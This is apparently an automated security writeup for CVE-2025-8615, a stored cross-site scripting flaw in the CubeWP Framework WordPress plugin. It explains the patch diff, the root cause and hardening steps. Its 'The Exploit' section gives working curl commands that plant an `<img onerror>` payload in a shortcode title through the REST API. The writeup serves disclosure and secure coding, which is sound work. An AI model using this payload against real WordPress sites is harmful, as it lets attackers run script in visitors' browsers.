ANALYSIS · ab5b3580 · PATCHDIFF

Folder Analysiscubewp-framework_1.1.26 → cubewp-framework_1.1.27✓ COMPLETED

Started2026-01-18 00:21:29Z Finished2026-01-18 00:28:52Z Elapsed7m 22s

Vulnerabilities 15

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-8615

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cube/classes/shortcodes/class-cubewp-shortcode-taxonomy.php

AI: 5 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')FUNCTIONS · SOURCE GONE CVE-2025-8615 3 TP 2 FP

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CVE-2025-8615

Security writeup for CVE-2025-8615

✓ 1 FILE

## The Exploit

A contributor-level WordPress user can store the XSS payload in the `cubewp_shortcode_taxonomy` shortcode `title` attribute.

```bash
curl -i -X POST 'https://TARGET/wp-json/wp/v2/pages/123' \
  -H 'Cookie: wordpress_logged_in_XXXXXXXX=...' \
  -H 'Content-Type: application/json' \
  -d '{"content":"Welcome! [cubewp_shortcode_taxonomy taxonomy=\"category\" title=\"<img src=x onerror=alert(1)>\"]"}'

curl -i 'https://TARGET/?p=123'
```

The first request saves a page containing the malicious shortcode payload in the post body. The second request loads the page and returns HTML containing the unescaped `<img>` tag inside the shortcode output, which a browser would execute on page view.

## What the Patch Did

Before

```php
$title  = isset( $parameters['title'] ) ? $parameters['title'] : '';
...
$output .= '<h2 class="cwp-widget-shortcode-heading">' . $title . '</h2>';
```

After

```php
$title  = isset($parameters['title']) ? sanitize_text_field($parameters['title']) : '';
...
$output .= '<h2 class="cwp-widget-shortcode-heading">' . esc_html($title) . '</h2>';
```

The patch added WordPress input sanitization with `sanitize_text_field()` and output escaping with `esc_html()` for the shortcode `title` value. This prevents raw user-supplied shortcode attributes from being emitted as active HTML.

## Root Cause

This is CWE-79: Stored Cross-Site Scripting. The plugin accepted attacker-controlled shortcode attributes in `$parameters['title']`, stored them in post content, and later rendered them directly into an HTML heading element without escaping. The trust boundary crossed unchecked is the HTML document context created by `'<h2 ...>' . $title . '</h2>'`; user input reached the browser as active markup.

## Why It Works

The load-bearing fix is `sanitize_text_field($parameters['title'])`. That line converts arbitrary shortcode input into plain text before the plugin ever assembles the output. `esc_html($title)` is the second layer, ensuring even if the title value changes later or comes from another source, it cannot be interpreted as HTML. If only one line were added, `sanitize_text_field()` would still neutralize script-bearing tags, while `esc_html()` would still escape them at render time; both together provide defense-in-depth.

## Hardening Checklist

- Use `sanitize_text_field()` for shortcode text attributes before storing or rendering them.
- Escape HTML output with `esc_html()`, `esc_attr()`, or `esc_url()` depending on the context.
- For inline CSS values, use `sanitize_hex_color()` before embedding into `style` attributes.
- For URLs, use `esc_url()` instead of `esc_attr()` when outputting `src` or `href`.
- Validate shortcode parameters with `shortcode_atts()` and reject or normalize unexpected values.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-8615

CVE CVE-2025-8615

PRODUCT Folder Analysis

AFFECTED ≤ cubewp-framework_1.1.26

FIXED IN cubewp-framework_1.1.27

STATUS Generated

Security writeup · CVE-2025-8615

Source files · 1

cube/classes/shortcodes/class-cubewp-shortcode-taxonomy.php Linked

↗ NVD